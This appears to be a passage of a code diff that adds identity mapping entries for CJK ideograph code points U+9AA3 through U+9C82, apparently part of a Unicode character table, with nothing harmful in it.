+ ["\u9AA3", "\u9AA3"], /* CJK Ideograph */
+ ["\u9AA4", "\u9AA4"], /* CJK Ideograph */
+ ["\u9AA5", "\u9AA5"], /* CJK Ideograph */
+ ["\u9AA6", "\u9AA6"], /* CJK Ideograph */
+ ["\u9AA7", "\u9AA7"], /* CJK Ideograph */
+ ["\u9AA8", "\u9AA8"], /* CJK Ideograph */
+ ["\u9AA9", "\u9AA9"], /* CJK Ideograph */
+ ["\u9AAA", "\u9AAA"], /* CJK Ideograph */
+ ["\u9AAB", "\u9AAB"], /* CJK Ideograph */
+ ["\u9AAC", "\u9AAC"], /* CJK Ideograph */
+ ["\u9AAD", "\u9AAD"], /* CJK Ideograph */
+ ["\u9AAE", "\u9AAE"], /* CJK Ideograph */
+ ["\u9AAF", "\u9AAF"], /* CJK Ideograph */
+ ["\u9AB0", "\u9AB0"], /* CJK Ideograph */
+ ["\u9AB1", "\u9AB1"], /* CJK Ideograph */
+ ["\u9AB2", "\u9AB2"], /* CJK Ideograph */
+ ["\u9AB3", "\u9AB3"], /* CJK Ideograph */
+ ["\u9AB4", "\u9AB4"], /* CJK Ideograph */
+ ["\u9AB5", "\u9AB5"], /* CJK Ideograph */
+ ["\u9AB6", "\u9AB6"], /* CJK Ideograph */
+ ["\u9AB7", "\u9AB7"], /* CJK Ideograph */
+ ["\u9AB8", "\u9AB8"], /* CJK Ideograph */
+ ["\u9AB9", "\u9AB9"], /* CJK Ideograph */
+ ["\u9ABA", "\u9ABA"], /* CJK Ideograph */
+ ["\u9ABB", "\u9ABB"], /* CJK Ideograph */
+ ["\u9ABC", "\u9ABC"], /* CJK Ideograph */
+ ["\u9ABD", "\u9ABD"], /* CJK Ideograph */
+ ["\u9ABE", "\u9ABE"], /* CJK Ideograph */
+ ["\u9ABF", "\u9ABF"], /* CJK Ideograph */
+ ["\u9AC0", "\u9AC0"], /* CJK Ideograph */
+ ["\u9AC1", "\u9AC1"], /* CJK Ideograph */
+ ["\u9AC2", "\u9AC2"], /* CJK Ideograph */
+ ["\u9AC3", "\u9AC3"], /* CJK Ideograph */
+ ["\u9AC4", "\u9AC4"], /* CJK Ideograph */
+ ["\u9AC5", "\u9AC5"], /* CJK Ideograph */
+ ["\u9AC6", "\u9AC6"], /* CJK Ideograph */
+ ["\u9AC7", "\u9AC7"], /* CJK Ideograph */
+ ["\u9AC8", "\u9AC8"], /* CJK Ideograph */
+ ["\u9AC9", "\u9AC9"], /* CJK Ideograph */
+ ["\u9ACA", "\u9ACA"], /* CJK Ideograph */
+ ["\u9ACB", "\u9ACB"], /* CJK Ideograph */
+ ["\u9ACC", "\u9ACC"], /* CJK Ideograph */
+ ["\u9ACD", "\u9ACD"], /* CJK Ideograph */
+ ["\u9ACE", "\u9ACE"], /* CJK Ideograph */
+ ["\u9ACF", "\u9ACF"], /* CJK Ideograph */
+ ["\u9AD0", "\u9AD0"], /* CJK Ideograph */
+ ["\u9AD1", "\u9AD1"], /* CJK Ideograph */
+ ["\u9AD2", "\u9AD2"], /* CJK Ideograph */
+ ["\u9AD3", "\u9AD3"], /* CJK Ideograph */
+ ["\u9AD4", "\u9AD4"], /* CJK Ideograph */
+ ["\u9AD5", "\u9AD5"], /* CJK Ideograph */
+ ["\u9AD6", "\u9AD6"], /* CJK Ideograph */
+ ["\u9AD7", "\u9AD7"], /* CJK Ideograph */
+ ["\u9AD8", "\u9AD8"], /* CJK Ideograph */
+ ["\u9AD9", "\u9AD9"], /* CJK Ideograph */
+ ["\u9ADA", "\u9ADA"], /* CJK Ideograph */
+ ["\u9ADB", "\u9ADB"], /* CJK Ideograph */
+ ["\u9ADC", "\u9ADC"], /* CJK Ideograph */
+ ["\u9ADD", "\u9ADD"], /* CJK Ideograph */
+ ["\u9ADE", "\u9ADE"], /* CJK Ideograph */
+ ["\u9ADF", "\u9ADF"], /* CJK Ideograph */
+ ["\u9AE0", "\u9AE0"], /* CJK Ideograph */
+ ["\u9AE1", "\u9AE1"], /* CJK Ideograph */
+ ["\u9AE2", "\u9AE2"], /* CJK Ideograph */
+ ["\u9AE3", "\u9AE3"], /* CJK Ideograph */
+ ["\u9AE4", "\u9AE4"], /* CJK Ideograph */
+ ["\u9AE5", "\u9AE5"], /* CJK Ideograph */
+ ["\u9AE6", "\u9AE6"], /* CJK Ideograph */
+ ["\u9AE7", "\u9AE7"], /* CJK Ideograph */
+ ["\u9AE8", "\u9AE8"], /* CJK Ideograph */
+ ["\u9AE9", "\u9AE9"], /* CJK Ideograph */
+ ["\u9AEA", "\u9AEA"], /* CJK Ideograph */
+ ["\u9AEB", "\u9AEB"], /* CJK Ideograph */
+ ["\u9AEC", "\u9AEC"], /* CJK Ideograph */
+ ["\u9AED", "\u9AED"], /* CJK Ideograph */
+ ["\u9AEE", "\u9AEE"], /* CJK Ideograph */
+ ["\u9AEF", "\u9AEF"], /* CJK Ideograph */
+ ["\u9AF0", "\u9AF0"], /* CJK Ideograph */
+ ["\u9AF1", "\u9AF1"], /* CJK Ideograph */
+ ["\u9AF2", "\u9AF2"], /* CJK Ideograph */
+ ["\u9AF3", "\u9AF3"], /* CJK Ideograph */
+ ["\u9AF4", "\u9AF4"], /* CJK Ideograph */
+ ["\u9AF5", "\u9AF5"], /* CJK Ideograph */
+ ["\u9AF6", "\u9AF6"], /* CJK Ideograph */
+ ["\u9AF7", "\u9AF7"], /* CJK Ideograph */
+ ["\u9AF8", "\u9AF8"], /* CJK Ideograph */
+ ["\u9AF9", "\u9AF9"], /* CJK Ideograph */
+ ["\u9AFA", "\u9AFA"], /* CJK Ideograph */
+ ["\u9AFB", "\u9AFB"], /* CJK Ideograph */
+ ["\u9AFC", "\u9AFC"], /* CJK Ideograph */
+ ["\u9AFD", "\u9AFD"], /* CJK Ideograph */
+ ["\u9AFE", "\u9AFE"], /* CJK Ideograph */
+ ["\u9AFF", "\u9AFF"], /* CJK Ideograph */
+ ["\u9B00", "\u9B00"], /* CJK Ideograph */
+ ["\u9B01", "\u9B01"], /* CJK Ideograph */
+ ["\u9B02", "\u9B02"], /* CJK Ideograph */
+ ["\u9B03", "\u9B03"], /* CJK Ideograph */
+ ["\u9B04", "\u9B04"], /* CJK Ideograph */
+ ["\u9B05", "\u9B05"], /* CJK Ideograph */
+ ["\u9B06", "\u9B06"], /* CJK Ideograph */
+ ["\u9B07", "\u9B07"], /* CJK Ideograph */
+ ["\u9B08", "\u9B08"], /* CJK Ideograph */
+ ["\u9B09", "\u9B09"], /* CJK Ideograph */
+ ["\u9B0A", "\u9B0A"], /* CJK Ideograph */
+ ["\u9B0B", "\u9B0B"], /* CJK Ideograph */
+ ["\u9B0C", "\u9B0C"], /* CJK Ideograph */
+ ["\u9B0D", "\u9B0D"], /* CJK Ideograph */
+ ["\u9B0E", "\u9B0E"], /* CJK Ideograph */
+ ["\u9B0F", "\u9B0F"], /* CJK Ideograph */
+ ["\u9B10", "\u9B10"], /* CJK Ideograph */
+ ["\u9B11", "\u9B11"], /* CJK Ideograph */
+ ["\u9B12", "\u9B12"], /* CJK Ideograph */
+ ["\u9B13", "\u9B13"], /* CJK Ideograph */
+ ["\u9B14", "\u9B14"], /* CJK Ideograph */
+ ["\u9B15", "\u9B15"], /* CJK Ideograph */
+ ["\u9B16", "\u9B16"], /* CJK Ideograph */
+ ["\u9B17", "\u9B17"], /* CJK Ideograph */
+ ["\u9B18", "\u9B18"], /* CJK Ideograph */
+ ["\u9B19", "\u9B19"], /* CJK Ideograph */
+ ["\u9B1A", "\u9B1A"], /* CJK Ideograph */
+ ["\u9B1B", "\u9B1B"], /* CJK Ideograph */
+ ["\u9B1C", "\u9B1C"], /* CJK Ideograph */
+ ["\u9B1D", "\u9B1D"], /* CJK Ideograph */
+ ["\u9B1E", "\u9B1E"], /* CJK Ideograph */
+ ["\u9B1F", "\u9B1F"], /* CJK Ideograph */
+ ["\u9B20", "\u9B20"], /* CJK Ideograph */
+ ["\u9B21", "\u9B21"], /* CJK Ideograph */
+ ["\u9B22", "\u9B22"], /* CJK Ideograph */
+ ["\u9B23", "\u9B23"], /* CJK Ideograph */
+ ["\u9B24", "\u9B24"], /* CJK Ideograph */
+ ["\u9B25", "\u9B25"], /* CJK Ideograph */
+ ["\u9B26", "\u9B26"], /* CJK Ideograph */
+ ["\u9B27", "\u9B27"], /* CJK Ideograph */
+ ["\u9B28", "\u9B28"], /* CJK Ideograph */
+ ["\u9B29", "\u9B29"], /* CJK Ideograph */
+ ["\u9B2A", "\u9B2A"], /* CJK Ideograph */
+ ["\u9B2B", "\u9B2B"], /* CJK Ideograph */
+ ["\u9B2C", "\u9B2C"], /* CJK Ideograph */
+ ["\u9B2D", "\u9B2D"], /* CJK Ideograph */
+ ["\u9B2E", "\u9B2E"], /* CJK Ideograph */
+ ["\u9B2F", "\u9B2F"], /* CJK Ideograph */
+ ["\u9B30", "\u9B30"], /* CJK Ideograph */
+ ["\u9B31", "\u9B31"], /* CJK Ideograph */
+ ["\u9B32", "\u9B32"], /* CJK Ideograph */
+ ["\u9B33", "\u9B33"], /* CJK Ideograph */
+ ["\u9B34", "\u9B34"], /* CJK Ideograph */
+ ["\u9B35", "\u9B35"], /* CJK Ideograph */
+ ["\u9B36", "\u9B36"], /* CJK Ideograph */
+ ["\u9B37", "\u9B37"], /* CJK Ideograph */
+ ["\u9B38", "\u9B38"], /* CJK Ideograph */
+ ["\u9B39", "\u9B39"], /* CJK Ideograph */
+ ["\u9B3A", "\u9B3A"], /* CJK Ideograph */
+ ["\u9B3B", "\u9B3B"], /* CJK Ideograph */
+ ["\u9B3C", "\u9B3C"], /* CJK Ideograph */
+ ["\u9B3D", "\u9B3D"], /* CJK Ideograph */
+ ["\u9B3E", "\u9B3E"], /* CJK Ideograph */
+ ["\u9B3F", "\u9B3F"], /* CJK Ideograph */
+ ["\u9B40", "\u9B40"], /* CJK Ideograph */
+ ["\u9B41", "\u9B41"], /* CJK Ideograph */
+ ["\u9B42", "\u9B42"], /* CJK Ideograph */
+ ["\u9B43", "\u9B43"], /* CJK Ideograph */
+ ["\u9B44", "\u9B44"], /* CJK Ideograph */
+ ["\u9B45", "\u9B45"], /* CJK Ideograph */
+ ["\u9B46", "\u9B46"], /* CJK Ideograph */
+ ["\u9B47", "\u9B47"], /* CJK Ideograph */
+ ["\u9B48", "\u9B48"], /* CJK Ideograph */
+ ["\u9B49", "\u9B49"], /* CJK Ideograph */
+ ["\u9B4A", "\u9B4A"], /* CJK Ideograph */
+ ["\u9B4B", "\u9B4B"], /* CJK Ideograph */
+ ["\u9B4C", "\u9B4C"], /* CJK Ideograph */
+ ["\u9B4D", "\u9B4D"], /* CJK Ideograph */
+ ["\u9B4E", "\u9B4E"], /* CJK Ideograph */
+ ["\u9B4F", "\u9B4F"], /* CJK Ideograph */
+ ["\u9B50", "\u9B50"], /* CJK Ideograph */
+ ["\u9B51", "\u9B51"], /* CJK Ideograph */
+ ["\u9B52", "\u9B52"], /* CJK Ideograph */
+ ["\u9B53", "\u9B53"], /* CJK Ideograph */
+ ["\u9B54", "\u9B54"], /* CJK Ideograph */
+ ["\u9B55", "\u9B55"], /* CJK Ideograph */
+ ["\u9B56", "\u9B56"], /* CJK Ideograph */
+ ["\u9B57", "\u9B57"], /* CJK Ideograph */
+ ["\u9B58", "\u9B58"], /* CJK Ideograph */
+ ["\u9B59", "\u9B59"], /* CJK Ideograph */
+ ["\u9B5A", "\u9B5A"], /* CJK Ideograph */
+ ["\u9B5B", "\u9B5B"], /* CJK Ideograph */
+ ["\u9B5C", "\u9B5C"], /* CJK Ideograph */
+ ["\u9B5D", "\u9B5D"], /* CJK Ideograph */
+ ["\u9B5E", "\u9B5E"], /* CJK Ideograph */
+ ["\u9B5F", "\u9B5F"], /* CJK Ideograph */
+ ["\u9B60", "\u9B60"], /* CJK Ideograph */
+ ["\u9B61", "\u9B61"], /* CJK Ideograph */
+ ["\u9B62", "\u9B62"], /* CJK Ideograph */
+ ["\u9B63", "\u9B63"], /* CJK Ideograph */
+ ["\u9B64", "\u9B64"], /* CJK Ideograph */
+ ["\u9B65", "\u9B65"], /* CJK Ideograph */
+ ["\u9B66", "\u9B66"], /* CJK Ideograph */
+ ["\u9B67", "\u9B67"], /* CJK Ideograph */
+ ["\u9B68", "\u9B68"], /* CJK Ideograph */
+ ["\u9B69", "\u9B69"], /* CJK Ideograph */
+ ["\u9B6A", "\u9B6A"], /* CJK Ideograph */
+ ["\u9B6B", "\u9B6B"], /* CJK Ideograph */
+ ["\u9B6C", "\u9B6C"], /* CJK Ideograph */
+ ["\u9B6D", "\u9B6D"], /* CJK Ideograph */
+ ["\u9B6E", "\u9B6E"], /* CJK Ideograph */
+ ["\u9B6F", "\u9B6F"], /* CJK Ideograph */
+ ["\u9B70", "\u9B70"], /* CJK Ideograph */
+ ["\u9B71", "\u9B71"], /* CJK Ideograph */
+ ["\u9B72", "\u9B72"], /* CJK Ideograph */
+ ["\u9B73", "\u9B73"], /* CJK Ideograph */
+ ["\u9B74", "\u9B74"], /* CJK Ideograph */
+ ["\u9B75", "\u9B75"], /* CJK Ideograph */
+ ["\u9B76", "\u9B76"], /* CJK Ideograph */
+ ["\u9B77", "\u9B77"], /* CJK Ideograph */
+ ["\u9B78", "\u9B78"], /* CJK Ideograph */
+ ["\u9B79", "\u9B79"], /* CJK Ideograph */
+ ["\u9B7A", "\u9B7A"], /* CJK Ideograph */
+ ["\u9B7B", "\u9B7B"], /* CJK Ideograph */
+ ["\u9B7C", "\u9B7C"], /* CJK Ideograph */
+ ["\u9B7D", "\u9B7D"], /* CJK Ideograph */
+ ["\u9B7E", "\u9B7E"], /* CJK Ideograph */
+ ["\u9B7F", "\u9B7F"], /* CJK Ideograph */
+ ["\u9B80", "\u9B80"], /* CJK Ideograph */
+ ["\u9B81", "\u9B81"], /* CJK Ideograph */
+ ["\u9B82", "\u9B82"], /* CJK Ideograph */
+ ["\u9B83", "\u9B83"], /* CJK Ideograph */
+ ["\u9B84", "\u9B84"], /* CJK Ideograph */
+ ["\u9B85", "\u9B85"], /* CJK Ideograph */
+ ["\u9B86", "\u9B86"], /* CJK Ideograph */
+ ["\u9B87", "\u9B87"], /* CJK Ideograph */
+ ["\u9B88", "\u9B88"], /* CJK Ideograph */
+ ["\u9B89", "\u9B89"], /* CJK Ideograph */
+ ["\u9B8A", "\u9B8A"], /* CJK Ideograph */
+ ["\u9B8B", "\u9B8B"], /* CJK Ideograph */
+ ["\u9B8C", "\u9B8C"], /* CJK Ideograph */
+ ["\u9B8D", "\u9B8D"], /* CJK Ideograph */
+ ["\u9B8E", "\u9B8E"], /* CJK Ideograph */
+ ["\u9B8F", "\u9B8F"], /* CJK Ideograph */
+ ["\u9B90", "\u9B90"], /* CJK Ideograph */
+ ["\u9B91", "\u9B91"], /* CJK Ideograph */
+ ["\u9B92", "\u9B92"], /* CJK Ideograph */
+ ["\u9B93", "\u9B93"], /* CJK Ideograph */
+ ["\u9B94", "\u9B94"], /* CJK Ideograph */
+ ["\u9B95", "\u9B95"], /* CJK Ideograph */
+ ["\u9B96", "\u9B96"], /* CJK Ideograph */
+ ["\u9B97", "\u9B97"], /* CJK Ideograph */
+ ["\u9B98", "\u9B98"], /* CJK Ideograph */
+ ["\u9B99", "\u9B99"], /* CJK Ideograph */
+ ["\u9B9A", "\u9B9A"], /* CJK Ideograph */
+ ["\u9B9B", "\u9B9B"], /* CJK Ideograph */
+ ["\u9B9C", "\u9B9C"], /* CJK Ideograph */
+ ["\u9B9D", "\u9B9D"], /* CJK Ideograph */
+ ["\u9B9E", "\u9B9E"], /* CJK Ideograph */
+ ["\u9B9F", "\u9B9F"], /* CJK Ideograph */
+ ["\u9BA0", "\u9BA0"], /* CJK Ideograph */
+ ["\u9BA1", "\u9BA1"], /* CJK Ideograph */
+ ["\u9BA2", "\u9BA2"], /* CJK Ideograph */
+ ["\u9BA3", "\u9BA3"], /* CJK Ideograph */
+ ["\u9BA4", "\u9BA4"], /* CJK Ideograph */
+ ["\u9BA5", "\u9BA5"], /* CJK Ideograph */
+ ["\u9BA6", "\u9BA6"], /* CJK Ideograph */
+ ["\u9BA7", "\u9BA7"], /* CJK Ideograph */
+ ["\u9BA8", "\u9BA8"], /* CJK Ideograph */
+ ["\u9BA9", "\u9BA9"], /* CJK Ideograph */
+ ["\u9BAA", "\u9BAA"], /* CJK Ideograph */
+ ["\u9BAB", "\u9BAB"], /* CJK Ideograph */
+ ["\u9BAC", "\u9BAC"], /* CJK Ideograph */
+ ["\u9BAD", "\u9BAD"], /* CJK Ideograph */
+ ["\u9BAE", "\u9BAE"], /* CJK Ideograph */
+ ["\u9BAF", "\u9BAF"], /* CJK Ideograph */
+ ["\u9BB0", "\u9BB0"], /* CJK Ideograph */
+ ["\u9BB1", "\u9BB1"], /* CJK Ideograph */
+ ["\u9BB2", "\u9BB2"], /* CJK Ideograph */
+ ["\u9BB3", "\u9BB3"], /* CJK Ideograph */
+ ["\u9BB4", "\u9BB4"], /* CJK Ideograph */
+ ["\u9BB5", "\u9BB5"], /* CJK Ideograph */
+ ["\u9BB6", "\u9BB6"], /* CJK Ideograph */
+ ["\u9BB7", "\u9BB7"], /* CJK Ideograph */
+ ["\u9BB8", "\u9BB8"], /* CJK Ideograph */
+ ["\u9BB9", "\u9BB9"], /* CJK Ideograph */
+ ["\u9BBA", "\u9BBA"], /* CJK Ideograph */
+ ["\u9BBB", "\u9BBB"], /* CJK Ideograph */
+ ["\u9BBC", "\u9BBC"], /* CJK Ideograph */
+ ["\u9BBD", "\u9BBD"], /* CJK Ideograph */
+ ["\u9BBE", "\u9BBE"], /* CJK Ideograph */
+ ["\u9BBF", "\u9BBF"], /* CJK Ideograph */
+ ["\u9BC0", "\u9BC0"], /* CJK Ideograph */
+ ["\u9BC1", "\u9BC1"], /* CJK Ideograph */
+ ["\u9BC2", "\u9BC2"], /* CJK Ideograph */
+ ["\u9BC3", "\u9BC3"], /* CJK Ideograph */
+ ["\u9BC4", "\u9BC4"], /* CJK Ideograph */
+ ["\u9BC5", "\u9BC5"], /* CJK Ideograph */
+ ["\u9BC6", "\u9BC6"], /* CJK Ideograph */
+ ["\u9BC7", "\u9BC7"], /* CJK Ideograph */
+ ["\u9BC8", "\u9BC8"], /* CJK Ideograph */
+ ["\u9BC9", "\u9BC9"], /* CJK Ideograph */
+ ["\u9BCA", "\u9BCA"], /* CJK Ideograph */
+ ["\u9BCB", "\u9BCB"], /* CJK Ideograph */
+ ["\u9BCC", "\u9BCC"], /* CJK Ideograph */
+ ["\u9BCD", "\u9BCD"], /* CJK Ideograph */
+ ["\u9BCE", "\u9BCE"], /* CJK Ideograph */
+ ["\u9BCF", "\u9BCF"], /* CJK Ideograph */
+ ["\u9BD0", "\u9BD0"], /* CJK Ideograph */
+ ["\u9BD1", "\u9BD1"], /* CJK Ideograph */
+ ["\u9BD2", "\u9BD2"], /* CJK Ideograph */
+ ["\u9BD3", "\u9BD3"], /* CJK Ideograph */
+ ["\u9BD4", "\u9BD4"], /* CJK Ideograph */
+ ["\u9BD5", "\u9BD5"], /* CJK Ideograph */
+ ["\u9BD6", "\u9BD6"], /* CJK Ideograph */
+ ["\u9BD7", "\u9BD7"], /* CJK Ideograph */
+ ["\u9BD8", "\u9BD8"], /* CJK Ideograph */
+ ["\u9BD9", "\u9BD9"], /* CJK Ideograph */
+ ["\u9BDA", "\u9BDA"], /* CJK Ideograph */
+ ["\u9BDB", "\u9BDB"], /* CJK Ideograph */
+ ["\u9BDC", "\u9BDC"], /* CJK Ideograph */
+ ["\u9BDD", "\u9BDD"], /* CJK Ideograph */
+ ["\u9BDE", "\u9BDE"], /* CJK Ideograph */
+ ["\u9BDF", "\u9BDF"], /* CJK Ideograph */
+ ["\u9BE0", "\u9BE0"], /* CJK Ideograph */
+ ["\u9BE1", "\u9BE1"], /* CJK Ideograph */
+ ["\u9BE2", "\u9BE2"], /* CJK Ideograph */
+ ["\u9BE3", "\u9BE3"], /* CJK Ideograph */
+ ["\u9BE4", "\u9BE4"], /* CJK Ideograph */
+ ["\u9BE5", "\u9BE5"], /* CJK Ideograph */
+ ["\u9BE6", "\u9BE6"], /* CJK Ideograph */
+ ["\u9BE7", "\u9BE7"], /* CJK Ideograph */
+ ["\u9BE8", "\u9BE8"], /* CJK Ideograph */
+ ["\u9BE9", "\u9BE9"], /* CJK Ideograph */
+ ["\u9BEA", "\u9BEA"], /* CJK Ideograph */
+ ["\u9BEB", "\u9BEB"], /* CJK Ideograph */
+ ["\u9BEC", "\u9BEC"], /* CJK Ideograph */
+ ["\u9BED", "\u9BED"], /* CJK Ideograph */
+ ["\u9BEE", "\u9BEE"], /* CJK Ideograph */
+ ["\u9BEF", "\u9BEF"], /* CJK Ideograph */
+ ["\u9BF0", "\u9BF0"], /* CJK Ideograph */
+ ["\u9BF1", "\u9BF1"], /* CJK Ideograph */
+ ["\u9BF2", "\u9BF2"], /* CJK Ideograph */
+ ["\u9BF3", "\u9BF3"], /* CJK Ideograph */
+ ["\u9BF4", "\u9BF4"], /* CJK Ideograph */
+ ["\u9BF5", "\u9BF5"], /* CJK Ideograph */
+ ["\u9BF6", "\u9BF6"], /* CJK Ideograph */
+ ["\u9BF7", "\u9BF7"], /* CJK Ideograph */
+ ["\u9BF8", "\u9BF8"], /* CJK Ideograph */
+ ["\u9BF9", "\u9BF9"], /* CJK Ideograph */
+ ["\u9BFA", "\u9BFA"], /* CJK Ideograph */
+ ["\u9BFB", "\u9BFB"], /* CJK Ideograph */
+ ["\u9BFC", "\u9BFC"], /* CJK Ideograph */
+ ["\u9BFD", "\u9BFD"], /* CJK Ideograph */
+ ["\u9BFE", "\u9BFE"], /* CJK Ideograph */
+ ["\u9BFF", "\u9BFF"], /* CJK Ideograph */
+ ["\u9C00", "\u9C00"], /* CJK Ideograph */
+ ["\u9C01", "\u9C01"], /* CJK Ideograph */
+ ["\u9C02", "\u9C02"], /* CJK Ideograph */
+ ["\u9C03", "\u9C03"], /* CJK Ideograph */
+ ["\u9C04", "\u9C04"], /* CJK Ideograph */
+ ["\u9C05", "\u9C05"], /* CJK Ideograph */
+ ["\u9C06", "\u9C06"], /* CJK Ideograph */
+ ["\u9C07", "\u9C07"], /* CJK Ideograph */
+ ["\u9C08", "\u9C08"], /* CJK Ideograph */
+ ["\u9C09", "\u9C09"], /* CJK Ideograph */
+ ["\u9C0A", "\u9C0A"], /* CJK Ideograph */
+ ["\u9C0B", "\u9C0B"], /* CJK Ideograph */
+ ["\u9C0C", "\u9C0C"], /* CJK Ideograph */
+ ["\u9C0D", "\u9C0D"], /* CJK Ideograph */
+ ["\u9C0E", "\u9C0E"], /* CJK Ideograph */
+ ["\u9C0F", "\u9C0F"], /* CJK Ideograph */
+ ["\u9C10", "\u9C10"], /* CJK Ideograph */
+ ["\u9C11", "\u9C11"], /* CJK Ideograph */
+ ["\u9C12", "\u9C12"], /* CJK Ideograph */
+ ["\u9C13", "\u9C13"], /* CJK Ideograph */
+ ["\u9C14", "\u9C14"], /* CJK Ideograph */
+ ["\u9C15", "\u9C15"], /* CJK Ideograph */
+ ["\u9C16", "\u9C16"], /* CJK Ideograph */
+ ["\u9C17", "\u9C17"], /* CJK Ideograph */
+ ["\u9C18", "\u9C18"], /* CJK Ideograph */
+ ["\u9C19", "\u9C19"], /* CJK Ideograph */
+ ["\u9C1A", "\u9C1A"], /* CJK Ideograph */
+ ["\u9C1B", "\u9C1B"], /* CJK Ideograph */
+ ["\u9C1C", "\u9C1C"], /* CJK Ideograph */
+ ["\u9C1D", "\u9C1D"], /* CJK Ideograph */
+ ["\u9C1E", "\u9C1E"], /* CJK Ideograph */
+ ["\u9C1F", "\u9C1F"], /* CJK Ideograph */
+ ["\u9C20", "\u9C20"], /* CJK Ideograph */
+ ["\u9C21", "\u9C21"], /* CJK Ideograph */
+ ["\u9C22", "\u9C22"], /* CJK Ideograph */
+ ["\u9C23", "\u9C23"], /* CJK Ideograph */
+ ["\u9C24", "\u9C24"], /* CJK Ideograph */
+ ["\u9C25", "\u9C25"], /* CJK Ideograph */
+ ["\u9C26", "\u9C26"], /* CJK Ideograph */
+ ["\u9C27", "\u9C27"], /* CJK Ideograph */
+ ["\u9C28", "\u9C28"], /* CJK Ideograph */
+ ["\u9C29", "\u9C29"], /* CJK Ideograph */
+ ["\u9C2A", "\u9C2A"], /* CJK Ideograph */
+ ["\u9C2B", "\u9C2B"], /* CJK Ideograph */
+ ["\u9C2C", "\u9C2C"], /* CJK Ideograph */
+ ["\u9C2D", "\u9C2D"], /* CJK Ideograph */
+ ["\u9C2E", "\u9C2E"], /* CJK Ideograph */
+ ["\u9C2F", "\u9C2F"], /* CJK Ideograph */
+ ["\u9C30", "\u9C30"], /* CJK Ideograph */
+ ["\u9C31", "\u9C31"], /* CJK Ideograph */
+ ["\u9C32", "\u9C32"], /* CJK Ideograph */
+ ["\u9C33", "\u9C33"], /* CJK Ideograph */
+ ["\u9C34", "\u9C34"], /* CJK Ideograph */
+ ["\u9C35", "\u9C35"], /* CJK Ideograph */
+ ["\u9C36", "\u9C36"], /* CJK Ideograph */
+ ["\u9C37", "\u9C37"], /* CJK Ideograph */
+ ["\u9C38", "\u9C38"], /* CJK Ideograph */
+ ["\u9C39", "\u9C39"], /* CJK Ideograph */
+ ["\u9C3A", "\u9C3A"], /* CJK Ideograph */
+ ["\u9C3B", "\u9C3B"], /* CJK Ideograph */
+ ["\u9C3C", "\u9C3C"], /* CJK Ideograph */
+ ["\u9C3D", "\u9C3D"], /* CJK Ideograph */
+ ["\u9C3E", "\u9C3E"], /* CJK Ideograph */
+ ["\u9C3F", "\u9C3F"], /* CJK Ideograph */
+ ["\u9C40", "\u9C40"], /* CJK Ideograph */
+ ["\u9C41", "\u9C41"], /* CJK Ideograph */
+ ["\u9C42", "\u9C42"], /* CJK Ideograph */
+ ["\u9C43", "\u9C43"], /* CJK Ideograph */
+ ["\u9C44", "\u9C44"], /* CJK Ideograph */
+ ["\u9C45", "\u9C45"], /* CJK Ideograph */
+ ["\u9C46", "\u9C46"], /* CJK Ideograph */
+ ["\u9C47", "\u9C47"], /* CJK Ideograph */
+ ["\u9C48", "\u9C48"], /* CJK Ideograph */
+ ["\u9C49", "\u9C49"], /* CJK Ideograph */
+ ["\u9C4A", "\u9C4A"], /* CJK Ideograph */
+ ["\u9C4B", "\u9C4B"], /* CJK Ideograph */
+ ["\u9C4C", "\u9C4C"], /* CJK Ideograph */
+ ["\u9C4D", "\u9C4D"], /* CJK Ideograph */
+ ["\u9C4E", "\u9C4E"], /* CJK Ideograph */
+ ["\u9C4F", "\u9C4F"], /* CJK Ideograph */
+ ["\u9C50", "\u9C50"], /* CJK Ideograph */
+ ["\u9C51", "\u9C51"], /* CJK Ideograph */
+ ["\u9C52", "\u9C52"], /* CJK Ideograph */
+ ["\u9C53", "\u9C53"], /* CJK Ideograph */
+ ["\u9C54", "\u9C54"], /* CJK Ideograph */
+ ["\u9C55", "\u9C55"], /* CJK Ideograph */
+ ["\u9C56", "\u9C56"], /* CJK Ideograph */
+ ["\u9C57", "\u9C57"], /* CJK Ideograph */
+ ["\u9C58", "\u9C58"], /* CJK Ideograph */
+ ["\u9C59", "\u9C59"], /* CJK Ideograph */
+ ["\u9C5A", "\u9C5A"], /* CJK Ideograph */
+ ["\u9C5B", "\u9C5B"], /* CJK Ideograph */
+ ["\u9C5C", "\u9C5C"], /* CJK Ideograph */
+ ["\u9C5D", "\u9C5D"], /* CJK Ideograph */
+ ["\u9C5E", "\u9C5E"], /* CJK Ideograph */
+ ["\u9C5F", "\u9C5F"], /* CJK Ideograph */
+ ["\u9C60", "\u9C60"], /* CJK Ideograph */
+ ["\u9C61", "\u9C61"], /* CJK Ideograph */
+ ["\u9C62", "\u9C62"], /* CJK Ideograph */
+ ["\u9C63", "\u9C63"], /* CJK Ideograph */
+ ["\u9C64", "\u9C64"], /* CJK Ideograph */
+ ["\u9C65", "\u9C65"], /* CJK Ideograph */
+ ["\u9C66", "\u9C66"], /* CJK Ideograph */
+ ["\u9C67", "\u9C67"], /* CJK Ideograph */
+ ["\u9C68", "\u9C68"], /* CJK Ideograph */
+ ["\u9C69", "\u9C69"], /* CJK Ideograph */
+ ["\u9C6A", "\u9C6A"], /* CJK Ideograph */
+ ["\u9C6B", "\u9C6B"], /* CJK Ideograph */
+ ["\u9C6C", "\u9C6C"], /* CJK Ideograph */
+ ["\u9C6D", "\u9C6D"], /* CJK Ideograph */
+ ["\u9C6E", "\u9C6E"], /* CJK Ideograph */
+ ["\u9C6F", "\u9C6F"], /* CJK Ideograph */
+ ["\u9C70", "\u9C70"], /* CJK Ideograph */
+ ["\u9C71", "\u9C71"], /* CJK Ideograph */
+ ["\u9C72", "\u9C72"], /* CJK Ideograph */
+ ["\u9C73", "\u9C73"], /* CJK Ideograph */
+ ["\u9C74", "\u9C74"], /* CJK Ideograph */
+ ["\u9C75", "\u9C75"], /* CJK Ideograph */
+ ["\u9C76", "\u9C76"], /* CJK Ideograph */
+ ["\u9C77", "\u9C77"], /* CJK Ideograph */
+ ["\u9C78", "\u9C78"], /* CJK Ideograph */
+ ["\u9C79", "\u9C79"], /* CJK Ideograph */
+ ["\u9C7A", "\u9C7A"], /* CJK Ideograph */
+ ["\u9C7B", "\u9C7B"], /* CJK Ideograph */
+ ["\u9C7C", "\u9C7C"], /* CJK Ideograph */
+ ["\u9C7D", "\u9C7D"], /* CJK Ideograph */
+ ["\u9C7E", "\u9C7E"], /* CJK Ideograph */
+ ["\u9C7F", "\u9C7F"], /* CJK Ideograph */
+ ["\u9C80", "\u9C80"], /* CJK Ideograph */
+ ["\u9C81", "\u9C81"], /* CJK Ideograph */
+ ["\u9C82", "\u9C82"], /* CJK Ideograph */
